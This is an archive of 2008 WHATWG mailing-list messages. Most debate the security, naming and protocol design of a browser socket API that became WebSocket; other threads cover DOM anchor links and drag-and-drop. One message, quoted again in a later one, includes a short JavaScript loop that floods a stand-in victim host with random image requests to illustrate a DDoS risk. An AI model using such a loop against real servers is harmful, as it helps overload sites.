become spam bots in short order. While I think it will be extremely useful
to have a raw tcp connection in the browser, and indeed you could use an
external service like dns to handle connection authorization, I think that
it will be much more difficult to drive adoption to that kind of standard.
In the meantime, we need to make the protocol enforce the opt-in.

In that case I agree that the name shouldn't be TCPConnection. I propose
SocketConnection instead.

-Michael Carter
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.whatwg.org/pipermail/whatwg-whatwg.org/attachments/20080618/a2f3505c/attachment.htm>

From ian at hixie.ch  Wed Jun 18 12:59:20 2008
From: ian at hixie.ch (Ian Hickson)
Date: Wed, 18 Jun 2008 19:59:20 +0000 (UTC)
Subject: [whatwg] TCPConnection feedback
In-Reply-To: <3a05072b0806181209u35684c26kad82a4ff3d2503cb@mail.gmail.com>
References: <mailman.6069.1213752657.2753.whatwg-whatwg.org@lists.whatwg.org>
	<48588ABF.1010006@arc.net.au>
	<31fb000f0806180334x5ac90f18ia6b875457bae01f4@mail.gmail.com>
	<48590478.6000403@arc.net.au>
	<3a05072b0806181209u35684c26kad82a4ff3d2503cb@mail.gmail.com>
Message-ID: <Pine.LNX.4.62.0806181957140.13974@hixie.dreamhostps.com>

On Wed, 18 Jun 2008, Michael Carter wrote:
> 
> In that case I agree that the name shouldn't be TCPConnection. I propose 
> SocketConnection instead.

I was thinking WebSocket (with the protocol itself called the Web Socket 
Protocol or Web Socket Communication Protocol or some such).

-- 
Ian Hickson               U+1047E                )\._.,--....,'``.    fL
http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'


From smith at pooteeweet.org  Wed Jun 18 13:03:20 2008
From: smith at pooteeweet.org (Lukas Kahwe Smith)
Date: Wed, 18 Jun 2008 22:03:20 +0200
Subject: [whatwg] Making it possible to do an anchor link to any DOM node
Message-ID: <8B3FD1FF-14A5-4792-89DB-91837942B486@pooteeweet.org>

Hi,

Currently when linking to specific places in a document one is limited  
to the places the original author made linkable via an anchor <a> tag.  
While this is a nice touch (though not well exposed by modern  
browsers), the reality is that most of the time the person who writes  
a document that links to the original page has a better idea of where  
exactly he wants to link to.

So I think it should be possible to "dynamically" get an implicit  
anchor on essentially anything. This would be specific DOM id's or any  
css selector or xpath expression. Browsers could be extended to not  
only feature a "copy link" context menu, but also "copy link to  
element", which would do all the nitty gritty work of pointing to the  
element on which the context menu was invoked.

I searched this list to determine if something like this was suggested  
before, the only relevant post [1] I found does not seem to actually  
discuss the same at closer inspection. I just joined this list and I  
have not done a super indepth study on the web about this. So I hope I  
am not boring you all with an old idea.

regards,
Lukas Kahwe Smith
smith at pooteeweet.org

[1] http://lists.whatwg.org/htdig.cgi/whatwg-whatwg.org/2007-April/010801.html


From michael.carter at kaazing.com  Wed Jun 18 13:11:35 2008
From: michael.carter at kaazing.com (Michael Carter)
Date: Wed, 18 Jun 2008 13:11:35 -0700
Subject: [whatwg] TCPConnection feedback
In-Reply-To: <Pine.LNX.4.62.0806181957140.13974@hixie.dreamhostps.com>
References: <mailman.6069.1213752657.2753.whatwg-whatwg.org@lists.whatwg.org>
	<48588ABF.1010006@arc.net.au>
	<31fb000f0806180334x5ac90f18ia6b875457bae01f4@mail.gmail.com>
	<48590478.6000403@arc.net.au>
	<3a05072b0806181209u35684c26kad82a4ff3d2503cb@mail.gmail.com>
	<Pine.LNX.4.62.0806181957140.13974@hixie.dreamhostps.com>
Message-ID: <24f9a1ba0806181311q865cd9bj8f1e555b2063c14c@mail.gmail.com>

On Wed, Jun 18, 2008 at 12:59 PM, Ian Hickson <ian at hixie.ch> wrote:

> On Wed, 18 Jun 2008, Michael Carter wrote:
> >
> > In that case I agree that the name shouldn't be TCPConnection. I propose
> > SocketConnection instead.
>
> I was thinking WebSocket (with the protocol itself called the Web Socket
> Protocol or Web Socket Communication Protocol or some such).
>

That sounds pretty good. Worth noting is that
http://en.wikipedia.org/wiki/Internet_socket suggests that the term "Socket"
doesn't refer to tcp/ip, rather it refers to multiple protocols. You can
have a UDPSocket or an IPSocket just as easily as you could have a
TCPSocket. In this context, neither WebSocket nor SocketConnection really
present a naming problem.

-Michael Carter
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.whatwg.org/pipermail/whatwg-whatwg.org/attachments/20080618/88e9aa83/attachment.htm>

From ian at hixie.ch  Wed Jun 18 13:22:45 2008
From: ian at hixie.ch (Ian Hickson)
Date: Wed, 18 Jun 2008 20:22:45 +0000 (UTC)
Subject: [whatwg] Making it possible to do an anchor link to any DOM node
In-Reply-To: <8B3FD1FF-14A5-4792-89DB-91837942B486@pooteeweet.org>
References: <8B3FD1FF-14A5-4792-89DB-91837942B486@pooteeweet.org>
Message-ID: <Pine.LNX.4.62.0806182006470.13974@hixie.dreamhostps.com>

On Wed, 18 Jun 2008, Lukas Kahwe Smith wrote:
> 
> So I think it should be possible to "dynamically" get an implicit anchor 
> on essentially anything. This would be specific DOM id's or any css 
> selector or xpath expression. Browsers could be extended to not only 
> feature a "copy link" context menu, but also "copy link to element", 
> which would do all the nitty gritty work of pointing to the element on 
> which the context menu was invoked.
> 
> I searched this list to determine if something like this was suggested 
> before, the only relevant post [1] I found does not seem to actually 
> discuss the same at closer inspection. I just joined this list and I 
> have not done a super indepth study on the web about this. So I hope I 
> am not boring you all with an old idea.

This was discussed recently in the public-html list, I believe. My 
conclusion was that the better way to approach this would be to take the 
XPointer work [1] and extend it to cover HTML DOMs as well as XML. With 
such a language specified, one could then add references to such languages 
to the relevant MIME type RFCs (fragment identifier behaviour has 
historically been defined by MIME type RFCs, not by the language specs 
themselves).

My recommendation therefore would be to approach the XML Core Working 
Group at the W3C and see if there is any interest in developing XPointer 
further.

-- 
Ian Hickson               U+1047E                )\._.,--....,'``.    fL
http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'


From frode at seria.no  Wed Jun 18 13:41:01 2008
From: frode at seria.no (=?UTF-8?Q?Frode_B=C3=B8rli?=)
Date: Wed, 18 Jun 2008 22:41:01 +0200
Subject: [whatwg] TCPConnection feedback
In-Reply-To: <3a05072b0806181209u35684c26kad82a4ff3d2503cb@mail.gmail.com>
References: <mailman.6069.1213752657.2753.whatwg-whatwg.org@lists.whatwg.org>
	<48588ABF.1010006@arc.net.au>
	<31fb000f0806180334x5ac90f18ia6b875457bae01f4@mail.gmail.com>
	<48590478.6000403@arc.net.au>
	<3a05072b0806181209u35684c26kad82a4ff3d2503cb@mail.gmail.com>
Message-ID: <31fb000f0806181341h51d29021r445f7511a7b9e373@mail.gmail.com>

>> The protocol should not require any data (not even hello - it should
>> function as an ordinary TCPConnection similar to implementations in
>> java, c# or any other major programming language. If not, it should be
>> called something else - as it is not a TCP connection.

>> I agree completely. Just providing async HTTP is a weak use case compared
>> to allowing client-side access to millions of existing (opted-in) services
>> and gadgets.

> It's clear that we need some kind of opt-in strategy or all web viewers will
> become spam bots in short order. While I think it will be extremely useful
> to have a raw tcp connection in the browser, and indeed you could use an
> external service like dns to handle connection authorization, I think that
> it will be much more difficult to drive adoption to that kind of standard.
> In the meantime, we need to make the protocol enforce the opt-in.

It should not be allowed to connect to any other host or ip-address
than the IP-address where the script was retrieved from. Exactly the
same security policy is enforced in Java applets and Flash. If the
javascript should be able to connect to other servers, then there
should be some sort of mechanism involving certificates and possibly
also a TXT record in the DNS for each server that can be accessed.

> In that case I agree that the name shouldn't be TCPConnection. I propose
> SocketConnection instead.

If some protocol is decided on, the protocol should have a name. I
think the name of the object should be WebConnection or WebSocket.

Still I do not believe it should have a specific protocol. If a
protocol is decided on, and it is allowed to connect to any IP-address
- then DDOS attacks can still be performed: If one million web
browsers connect to any port on a single server, it does not matter
which protocol the client tries to communicate with. The server will
still have problems.


From cartermichael at gmail.com  Wed Jun 18 14:09:02 2008
From: cartermichael at gmail.com (Michael Carter)
Date: Wed, 18 Jun 2008 14:09:02 -0700
Subject: [whatwg] TCPConnection feedback
In-Reply-To: <31fb000f0806181341h51d29021r445f7511a7b9e373@mail.gmail.com>
References: <mailman.6069.1213752657.2753.whatwg-whatwg.org@lists.whatwg.org>
	<48588ABF.1010006@arc.net.au>
	<31fb000f0806180334x5ac90f18ia6b875457bae01f4@mail.gmail.com>
	<48590478.6000403@arc.net.au>
	<3a05072b0806181209u35684c26kad82a4ff3d2503cb@mail.gmail.com>
	<31fb000f0806181341h51d29021r445f7511a7b9e373@mail.gmail.com>
Message-ID: <3a05072b0806181409y1fa02c45nbf92c2754e61e1aa@mail.gmail.com>

> Still I do not believe it should have a specific protocol. If a
> protocol is decided on, and it is allowed to connect to any IP-address
> - then DDOS attacks can still be performed: If one million web
> browsers connect to any port on a single server, it does not matter
> which protocol the client tries to communicate with. The server will
> still have problems.
>

Aren't there and identical set of objections to the cross-domain
access-control header? Or microsofts XDR object? Even without Websocket,
browsers will be making fully cross-domain requests, and the only question
left is how exactly to implement the security in the protocol. That said,
there's no additional harm in allowing WebSocket to establish  cross-domain
connections, but there are many benefits.

-Michael Carter
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.whatwg.org/pipermail/whatwg-whatwg.org/attachments/20080618/4e1bc6ec/attachment.htm>

From ian at hixie.ch  Wed Jun 18 14:24:10 2008
From: ian at hixie.ch (Ian Hickson)
Date: Wed, 18 Jun 2008 21:24:10 +0000 (UTC)
Subject: [whatwg] TCPConnection feedback
In-Reply-To: <31fb000f0806181341h51d29021r445f7511a7b9e373@mail.gmail.com>
References: <mailman.6069.1213752657.2753.whatwg-whatwg.org@lists.whatwg.org>
	<48588ABF.1010006@arc.net.au>
	<31fb000f0806180334x5ac90f18ia6b875457bae01f4@mail.gmail.com>
	<48590478.6000403@arc.net.au>
	<3a05072b0806181209u35684c26kad82a4ff3d2503cb@mail.gmail.com>
	<31fb000f0806181341h51d29021r445f7511a7b9e373@mail.gmail.com>
Message-ID: <Pine.LNX.4.62.0806182123480.13974@hixie.dreamhostps.com>

On Wed, 18 Jun 2008, Frode B?rli wrote:
> 
> Still I do not believe it should have a specific protocol. If a protocol 
> is decided on, and it is allowed to connect to any IP-address - then 
> DDOS attacks can still be performed: If one million web browsers connect 
> to any port on a single server, it does not matter which protocol the 
> client tries to communicate with. The server will still have problems.

You can already do that today using <img>.

-- 
Ian Hickson               U+1047E                )\._.,--....,'``.    fL
http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'

From phil127 at gmail.com  Wed Jun 18 14:26:37 2008
From: phil127 at gmail.com (Philipp Serafin)
Date: Wed, 18 Jun 2008 23:26:37 +0200
Subject: [whatwg]  TCPConnection feedback
In-Reply-To: <f042876c0806181425l6907ec55m878efcaa3adc78cb@mail.gmail.com>
References: <mailman.6069.1213752657.2753.whatwg-whatwg.org@lists.whatwg.org>
	<48588ABF.1010006@arc.net.au>
	<31fb000f0806180334x5ac90f18ia6b875457bae01f4@mail.gmail.com>
	<48590478.6000403@arc.net.au>
	<3a05072b0806181209u35684c26kad82a4ff3d2503cb@mail.gmail.com>
	<31fb000f0806181341h51d29021r445f7511a7b9e373@mail.gmail.com>
	<f042876c0806181425l6907ec55m878efcaa3adc78cb@mail.gmail.com>
Message-ID: <f042876c0806181426y74d7edc9q4677e6b84093cbab@mail.gmail.com>

> Still I do not believe it should have a specific protocol.

I think a major problem with raw TCP connections is that they would be
the nightmare of every administrator. If web pages could use every
sort of homebrew protocol on all possible ports, how could you still
sensibly configure a firewall without the danger of accidentally
disabling mary sue grandmother's web application?

Also keep in mind the issue list Ian brought up in the other mail.
Things like URI based adressing and virtual hosting would not be
possible with raw TCP. That would make this feature a lot less useable
for authors that do not have full access over their server, like in
shared hosting situations, for example.

> [If a] protocol is decided on, and it is allowed to connect to any IP-address
> - then DDOS attacks can still be performed: If one million web
> browsers connect to any port on a single server, it does not matter
> which protocol the client tries to communicate with. The server will
> still have problems.

Couldn't this already be done today, though? You can already today
connect to an arbitrary server on an arbitrary port using forms,
<img>, <script src=""> and all other references that cannot be
cross-domain protected for backwards compatibillity reasons. The whole
hotlinking issue is basically the result of that.
How would WebSocket connections be more harmful than something like

setInterval(function(){
  var img = new Image();
  img.src = "http://victim.example.com/" + generateLongRandomString();
}, 1000);

for example would?


From elharo at metalab.unc.edu  Wed Jun 18 14:31:46 2008
From: elharo at metalab.unc.edu (Elliotte Rusty Harold)
Date: Wed, 18 Jun 2008 14:31:46 -0700
Subject: [whatwg] Making it possible to do an anchor link to any DOM node
In-Reply-To: <8B3FD1FF-14A5-4792-89DB-91837942B486@pooteeweet.org>
References: <8B3FD1FF-14A5-4792-89DB-91837942B486@pooteeweet.org>
Message-ID: <48597EC2.4090707@metalab.unc.edu>

Lukas Kahwe Smith wrote:
> Hi,
> 
> Currently when linking to specific places in a document one is limited 
> to the places the original author made linkable via an anchor <a> tag. 
> While this is a nice touch (though not well exposed by modern browsers), 
> the reality is that most of the time the person who writes a document 
> that links to the original page has a better idea of where exactly he 
> wants to link to.


Actually, what you link to these days is any element with an ID attribute.

What you're proposing is to reinvent XPointer.

-- 
Elliotte Rusty Harold
elharo at metalab.unc.edu


From t.broyer at gmail.com  Wed Jun 18 14:31:48 2008
From: t.broyer at gmail.com (Thomas Broyer)
Date: Wed, 18 Jun 2008 23:31:48 +0200
Subject: [whatwg] more drag/drop feedback
In-Reply-To: <48591FBC.4080902@gmail.com>
References: <48591FBC.4080902@gmail.com>
Message-ID: <a9699fd20806181431m164eeaf2l1e49d2a6774d9da7@mail.gmail.com>

On Wed, Jun 18, 2008 at 4:46 PM, Neil Deakin wrote:
> The initDragEvent/initDragEvent methods take a DataTransfer as an argument.
> Is it expected that the DataTransfer to use here can be created with 'new
> DataTransfer'?
>
> IE and Safari allow a no-argument form of clearData as well which clears all
> formats.

FWIW, Adobe AIR's Clipboard (which is equivalent to the DataTransfer
object) has a clear() no-argument method.

See:
http://livedocs.adobe.com/flex/3/langref/flash/events/NativeDragEvent.html
http://help.adobe.com/en_US/AIR/1.1/jslr/flash/desktop/Clipboard.html

> The description for the 'types' property implies that this should be a live
> list. Why?

Maybe so that you can keep a reference to it while setData/clearData
is being called? But couldn't you just keep a reference to the
DataTransfer object? It seems that IE doesn't have such a property.
Adobe AIR's WebKit does, but how about Safari?

> The clearData, setData and getData methods should clarify what happens if an
> empty format is supplied.

For my personal culture, what happens in IE and Safari?

> I still don't understand the purpose of the addElement method.

I think addElement is there to allow e.g. "dialog boxes" where the box
can be dragged using its "title bar": only the title-bar is draggable
but ondragstart it adds the whole dialog box to the list of what is
being dragged...

> Either this
> should be removed or there should be clarification of the difference between
> addElement and setDragImage

setDragImage is only about the "drag feedback", not "what is being
dragged", if I understand correctly...

> Previously, I said that DragEvents should be UIEvents. I think they should
> instead inherit from MouseEvent.

FWIW, NativeDragEvent in Adobe AIR inherits MouseEvent.

> We have a need to be able to support both dragging multiple items, as well
> as dragging non-string data, for instance dragging a set of files as a set
> of File objects (see http://www.w3.org/TR/file-upload/) from the file system
> onto a page.

That would be new data formats.
That's how Adobe AIR solved the problem. They added a Bitmap and File
list data formats, for which getData returns AIR-specific objets (a
BitmapData and an array of File objects respectively)
http://help.adobe.com/en_US/AIR/1.1/jslr/flash/desktop/ClipboardFormats.html
http://livedocs.adobe.com/air/1/devappshtml/DragAndDrop_2.html#1048911

> For this, we would also like to propose methods like the following, which
> are analagous to the existing methods (where Variant is just any type of
> object):

I don't see a real need for them (others didn't need them while
providing the same features) and they wouldn't be backwards compatible
with IE and Safari, while AFAIK the current draft is.

-- 
Thomas Broyer


From frode at seria.no  Wed Jun 18 15:53:04 2008
From: frode at seria.no (=?UTF-8?Q?Frode_B=C3=B8rli?=)
Date: Thu, 19 Jun 2008 00:53:04 +0200
Subject: [whatwg] Suggestion of an alternative TCPConnection implementation
Message-ID: <31fb000f0806181553k624c3a67o16e79c781d3168cb@mail.gmail.com>

> I think a major problem with raw TCP connections is that they would be
> the nightmare of every administrator. If web pages could use every
> sort of homebrew protocol on all possible ports, how could you still
> sensibly configure a firewall without the danger of accidentally
> disabling mary sue grandmother's web application?

I dont think so, as long as the web page could only connect to its origin
server. I am certain that this problem was discussed when Java applets
were created also.

Web pages should only be allowed to access other servers when the
script has been digitally signed, and when the user has agreed to
giving the script elevated privileges - or there should be a
certificate on the origin server which is checked against DNS records
for each server that the script attempts to connect to.

> Also keep in mind the issue list Ian brought up in the other mail.
> Things like URI based adressing and virtual hosting would not be
> possible with raw TCP. That would make this feature a lot less useable
> for authors that do not have full access over their server, like in
> shared hosting situations, for example.

Hmm.. There are good arguments both ways. I would like both please :)

So what we want is a http based protocol which allow the client to
continue communicating with the script that handles the initial
request. I believe that a great way to implement this would be to
extend the http protocol (and by using the Connection: Keep-Alive
header).

It should be the script on the server that decides if the connection
is persistent. This will avoid most problems with cross domain
connections, i believe. Lets imagine two php-scripts on a web server:

/index.php (PHP script)
/persistent.pphp (persistent PHP script)

If the user types in the address http://host.com/persistent.pphp -
then this use case is followed:

1. Client sends GET /persistent.pphp and its headers (including domain
name and cookies etc). After all headers are sent, it expects a
standard http compliant response.
2. Server checks the Accept: header for HTML 5 support.
3 (alternative flow): If no support is found in the Accept headers, a
HTTP 406 Not Acceptable header is sent with an error message saying
that a HTML 5 browser is required.
4 (alternative flow). Server checks the (new) SessionID header if it
should reconnect the client to an existing server side instance.
4. Server side script processes the request and may reply with a
complete html page (or with simply a Hello message - it is the server
side script that decides). Server must send Connection: Keep-Alive and
Connection-Type: Persistent headers.
4. The browser renders the response - but a singleton object is
magically available from javascript; document.defaultHTMLSocket. This
object allows the client to continue communicating with the script
that generated the page by sending either serialized data in the same
form as GET/POST data or single text lines.

Other use case: User visits /index.php - which will connect to
/persistent.pphp using javascript.

1. Javascript: mySocket = new HTTPSocket("/persistent.php");
2. Exactly the same use case as the previous is followed, except that
the HTTPSocket-object is returned. The initial data sent by the server
must be read using the read() method of the HTTPSocket object.


Of course, I have not had time to validate that everything I have
suggested can be used and I would like more people to review this
suggestion - but I think it looks very viable at first glance.


I see one problem, and that is if the connection is lost (for example
because of a proxy server):

This could be fixed creating a new header ment for storing a client
session id. If we standardize on that, the web server could
automatically map the client back to the correct instance of the
server application and neither the client, nor the server application
need to know that the connection was lost.


Any feedback will be appreciated.

> Couldn't this already be done today, though? You can already today
> connect to an arbitrary server on an arbitrary port using forms,
> <img>, <script src=""> and all other references that cannot be
> cross-domain protected for backwards compatibillity reasons. The whole
> hotlinking issue is basically the result of that.
> How would WebSocket connections be more harmful than something like
>
> setInterval(function(){
>   var img = new Image();
>   img.src = "http://victim.example.com/" + generateLongRandomString();
> }, 1000);
>
> for example would?
>

Yes, that could be done - but I think that it would be a lot more
painful for the server if the connection was made to some port, and
kept open. Handling a request for a non-existing url can be finished
in microseconds, but if the client just opens a port without being
disconnected, then the server will quickly be overloaded overloaded by
too many incoming connections.
--
Best regards / Med vennlig hilsen
Frode B?rli
Seria.no

Mobile:
+47 406 16 637
Company:
+47 216 90 000
Fax:
+47 216 91 000


Think about the environment. Do not print this e-mail unless you really need to.

From phil127 at gmail.com  Wed Jun 18 18:15:51 2008
From: phil127 at gmail.com (Philipp Serafin)
Date: Thu, 19 Jun 2008 03:15:51 +0200
Subject: [whatwg] Implementation of a good HTTPSocket (TCP-socket)
In-Reply-To: <31fb000f0806181546u4e319dd1h431c37d3d95d2827@mail.gmail.com>
References: <31fb000f0806181546u4e319dd1h431c37d3d95d2827@mail.gmail.com>
Message-ID: <f042876c0806181815m338706fcwfe153d59df440c50@mail.gmail.com>

On Thu, Jun 19, 2008 at 12:46 AM, Frode B?rli <frode at seria.no> wrote:

> Web pages should only be allowed to access other servers when the
> script has been digitally signed, and when the user has agreed to
> giving the script elevated privileges - or there should be a
> certificate on the origin server which is checked against DNS records
> for each server that the script attempts to connect to.

What prevents a malicious site from simply getting their own certificate?
As for user prompts, I think we have seen how well that works with
IE's ActiveX controls. I fear malicious sites would just put up a
"Click 'yes' in the next dialog to continue" message, and we're back
to square one.

DNS records sound like a good idea though.

> So what we want is a http based protocol which allow the client to
> continue communicating with the script that handles the initial
> request.

I absolutely agree that this would be the best way. However, couldn't
we use Michaels proposal for that? It seems to solve the same problems
and is actually compliant HTTP (in theory at least).

I find the SessionID header a very good idea though.What are the
thoughts on that?

I'm sorry if that has already been discussed, but if we use HTTP, why
can't we use the Access Control spec as an "opt in mechanism" that is
a little easier to implement than DNS? If you modify the behaviour a
little, you could even use it against DDOS attacks:

"Counter suggestion": When a WebSocket objects attempts to connect,
perform Access Control checks the way you would for POST requests.
If the check fails and if the server response contains an
Access-Control-Max-Age header, agents must immediately close the
connection and must not open a connection to that resource again (or,
if Access-Control-Policy-Path is present, to any resource specified)
until the specified time has elapsed.
That way, administrators that are hit by a DDOS can simply put

Access-Control: allow <*> exclude <evilsite.example.com>
Access-Control-Max-Age: 86400
Access-Control-Policy-Path: /

in their server headers and the stream should relatively quickly slow
down to a trickle.

What do you think?

With best regards,
Philipp Serafin


From shannon at arc.net.au  Wed Jun 18 18:43:39 2008
From: shannon at arc.net.au (Shannon)
Date: Thu, 19 Jun 2008 11:43:39 +1000
Subject: [whatwg] TCPConnection feedback
In-Reply-To: <mailman.10554.1213824710.2753.whatwg-whatwg.org@lists.whatwg.org>
References: <mailman.10554.1213824710.2753.whatwg-whatwg.org@lists.whatwg.org>
Message-ID: <4859B9CB.40607@arc.net.au>

>
>
> I think a major problem with raw TCP connections is that they would be
> the nightmare of every administrator. If web pages could use every
> sort of homebrew protocol on all possible ports, how could you still
> sensibly configure a firewall without the danger of accidentally
> disabling mary sue grandmother's web application?
>   

This already happens. Just yesterday we (an ISP) had a company unable to 
access webmail on port 81 due to an overzealous firewall administrator. 
But how is a web server on port 81 more unsafe than one on 80? It isn't 
the port that matters, it's the applications that may (or may not) be 
using them that need to be controlled. Port-based blocking of whole 
networks is a fairly naive approach today. Consider that the main reason 
for these "nazi firewalls" is two-fold:
1.) to prevent unauthorised/unproductive activities (at schools, 
libraries or workplaces); and
2.) to prevent viruses connecting out.

Port-blocking to resolve these things doesn't work anymore since:
1.) even without plugins a "Web 2.0" browser provides any number of 
games, chat sites and other 'time-wasters'; and
2.) free (or compromised) web hosting can provide viruses with update 
and control mechanisms without creating suspicion by using uncommon 
ports; and
3.) proxies exist (commercial and free) to tunnel any type of traffic 
over port 80.

On the other hand port control interferes with legitimate services (like 
running multiple web servers on a single IP). So what I'm saying here is 
that network admins can do what they want but calling the policy of 
blocking non-standard ports "sensible" and then basing standards on it 
is another thing. It's pretty obvious that port-based firewalling will 
be obsoleted by protocol sniffing and IP/DNS black/whitelists sooner 
rather than later.

Your argument misses the point anyway. Using your browser as an IRC 
client is no different to downloading mIRC or using a web-based chat 
site. The genie of running "arbitrary services" from a web client 
escaped the bottle years ago with the introduction of javascript and 
plugins. We are looking at "browser as a desktop" rather than "browser 
as a reader" and I don't think that's something that will ever be 
reversed. Since we're on the threshold of the "Web Applications" age, 
and this is the Web Applications Working Group we should be doing 
everything we can to enable those applications while maintaining 
security. Disarming the browser is a valid goal ONLY once we've 
exhausted the possibility of making it safe.

> Also keep in mind the issue list Ian brought up in the other mail.
> Things like URI based adressing and virtual hosting would not be
> possible with raw TCP. That would make this feature a lot less useable
> for authors that do not have full access over their server, like in
> shared hosting situations, for example.
>   
I fail to see how virtual hosting will work for this anyway. I mean 
we're not talking about Apache/IIS here, we're talking about custom 
applications, scripts or devices - possibly implemented in firmware or 
"a few lines of perl". Adding vhost control to the protocol is just 
silly since the webserver won't ever see the request and the customer 
application should be able to use any method it likes to differentiate 
its services. Even URI addressing is silly since again the application 
may have no concept of "paths" or "queries". It is simply a service 
running on a port. The only valid use case for all this added complexity 
is proxying but nobody has tested yet whether proxies will handle this 
(short of enabling encryption, and even that is untested).

I'm thinking here that this proposal is basically rewriting the CGI 
protocol (web server handing off managed request to custom scripts) with 
the ONLY difference being the asynchronous nature of the request. 
Perhaps more consideration might be given to how the CGI/HTTP protocols 
might be updated to allow async communication.

Having said that I still see a very strong use case for low-level 
client-side TCP and UDP. There are ways to manage the security risks 
that require further investigation. Even if it must be kept same-domain 
that is better than creating a new protocol that won't work with 
existing services. Even if that sounds like a feature - it isn't. There 
are better ways to handle access-control for non-WebConnection devices 
than sending garbage to the port.

>   
>> > [If a] protocol is decided on, and it is allowed to connect to any IP-address
>> > - then DDOS attacks can still be performed: If one million web
>> > browsers connect to any port on a single server, it does not matter
>> > which protocol the client tries to communicate with. The server will
>> > still have problems.
>>     
>
> Couldn't this already be done today, though? You can already today
> connect to an arbitrary server on an arbitrary port using forms,
> <img>, <script src=""> and all other references that cannot be
> cross-domain protected for backwards compatibillity reasons. The whole
> hotlinking issue is basically the result of that.
> How would WebSocket connections be more harmful than something like
>
> setInterval(function(){
>   var img = new Image();
>   img.src = "http://victim.example.com/" + generateLongRandomString();
> }, 1000);
>
> for example would?
It's more harmful because an img tag (to my knowledge) cannot be used to 
brute-force access, whereas a socket connection could. With the focus on 
DDOS it is important to remember that these sockets will enable full 
read/write access to arbitrary services whereas existing methods can 
only write once per connection and generally not do anything useful with 
the response.

Shannon
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.whatwg.org/pipermail/whatwg-whatwg.org/attachments/20080619/879ca67f/attachment.htm>

From giecrilj at stegny.2a.pl  Thu Jun 19 04:07:53 2008
From: giecrilj at stegny.2a.pl (=?us-ascii?Q?Kristof_Zelechovski?=)
Date: Thu, 19 Jun 2008 13:07:53 +0200
Subject: [whatwg] Suggestion of an alternative TCPConnection
	implementation
In-Reply-To: <31fb000f0806181553k624c3a67o16e79c781d3168cb@mail.gmail.com>
References: <31fb000f0806181553k624c3a67o16e79c781d3168cb@mail.gmail.com>
Message-ID: <2E40A8A4E43C480C89FD04574EF489E7@POCZTOWIEC>

Correct me if I am wrong: no two-way TCP daemon like telnet, ssh, POP3, NNTP
or IMAP allows reconnecting to an existing session when the connection drops
and for UDP daemons this question is moot because the connection never drops
although it can occasionally fail.  Why should a custom connection from
inside the browser make an exception?
Chris

-----Original Message-----
From: whatwg-bounces at lists.whatwg.org
[mailto:whatwg-bounces at lists.whatwg.org] On Behalf Of Frode Borli
Sent: Thursday, June 19, 2008 12:53 AM
To: whatwg at whatwg.org
Subject: [whatwg] Suggestion of an alternative TCPConnection implementation

I see one problem, and that is if the connection is lost (for example
because of a proxy server):

This could be fixed creating a new header ment for storing a client
session id. If we standardize on that, the web server could
automatically map the client back to the correct instance of the
server application and neither the client, nor the server application
need to know that the connection was lost.


Any feedback will be appreciated.





From frode at seria.no  Thu Jun 19 05:01:59 2008
From: frode at seria.no (=?UTF-8?Q?Frode_B=C3=B8rli?=)
Date: Thu, 19 Jun 2008 14:01:59 +0200
Subject: [whatwg] Suggestion of an alternative TCPConnection
	implementation
In-Reply-To: <2E40A8A4E43C480C89FD04574EF489E7@POCZTOWIEC>
References: <31fb000f0806181553k624c3a67o16e79c781d3168cb@mail.gmail.com>
	<2E40A8A4E43C480C89FD04574EF489E7@POCZTOWIEC>
Message-ID: <31fb000f0806190501j7e7c7cf3y1728c6a9bc2f13b@mail.gmail.com>

> Correct me if I am wrong: no two-way TCP daemon like telnet, ssh, POP3, NNTP
> or IMAP allows reconnecting to an existing session when the connection drops
> and for UDP daemons this question is moot because the connection never drops
> although it can occasionally fail.  Why should a custom connection from
> inside the browser make an exception?

One of the suggestions is creating a special protocol for
bi-directional communications with the server. The other suggestion is
creating a pure TCPConnection.

The pure TCPConnection should not specify a protocol, and it should be
able to connect to any port, for example telnet, SSH, POP3 etc.

My suggestion should replace only the special protocol variant and be
based on http/xmlhttprequest like this:

1. Client connects to web server
2. Web server and client communicates and establishes communication
trough the same socket pairs as the web page itself was transmitted
trough.
3. The client can then continue communicating with the server trough a
singleton object document.webSocket.

What happens in the background is the following:

Server starts a new thread or forks a new process to handle the
communication trough the channel. The server use the Session ID header
to match the client with the correct process on the server.

If the client is disconnected, then the next communication
reestablishes the connection using the session id header to match the
client with the correct thread on the server. This will be transparent
to both the server side script and the client side script - and I
believe it will work trough existing proxy servers.


The same type of communication channel can then be established by
scripting, for example like this:

var socket = new WebSocket("http://url/path/to/script.php");


This has the following benefits:

1. No security problems to worry about: Server decides if the request
should be handled as a persisting socket . If the server side script
is not persistent - then the request will be handled as a normal http
request by the server and the WebSocket object should cast an
exception.
2. Use existing protocols (HTTP), in a backward compatible way.
3. Since it uses the existing communication channel, it will always
work trough firewalls.
4. It supports virtual hosting by default.
5. It supports full URLs, including the path by default.


The disadvantage is that to utilize the feature, web servers must be
updated to support WebSockets - but I do not think that's different
from requiring special servers anyway.

Frode


From philipj at opera.com  Thu Jun 19 06:05:43 2008
From: philipj at opera.com (Philip =?ISO-8859-1?Q?J=E4genstedt?=)
Date: Thu, 19 Jun 2008 20:05:43 +0700
Subject: [whatwg] video background color (Was: Interpretation
	of	video	poster attribute)
In-Reply-To: <Pine.LNX.4.62.0806132101290.6527@hixie.dreamhostps.com>
References: <1212496617.24802.6.camel@nog.bredbandsbolaget.se>
	<dd0fbad0806030759m789af621qa3fe21493bdb3b66@mail.gmail.com>
	<dd0fbad0806030800n22c76bf3n180f1048f13b2154@mail.gmail.com>
	<1213027282.6676.43.camel@nog.bredbandsbolaget.se>
	<Pine.LNX.4.62.0806120547220.8559@hixie.dreamhostps.com>
	<1213257494.6562.56.camel@nog.bredbandsbolaget.se>
	<Pine.LNX.4.62.0806120944040.8559@hixie.dreamhostps.com>
	<1213267003.6562.87.camel@nog.bredbandsbolaget.se>
	<c2e346f90806120422r1def400fpf5349b3129f7eecc@mail.gmail.com>
	<op.ucmx46d3idj3kv@zcorpandell.linkoping.osa>
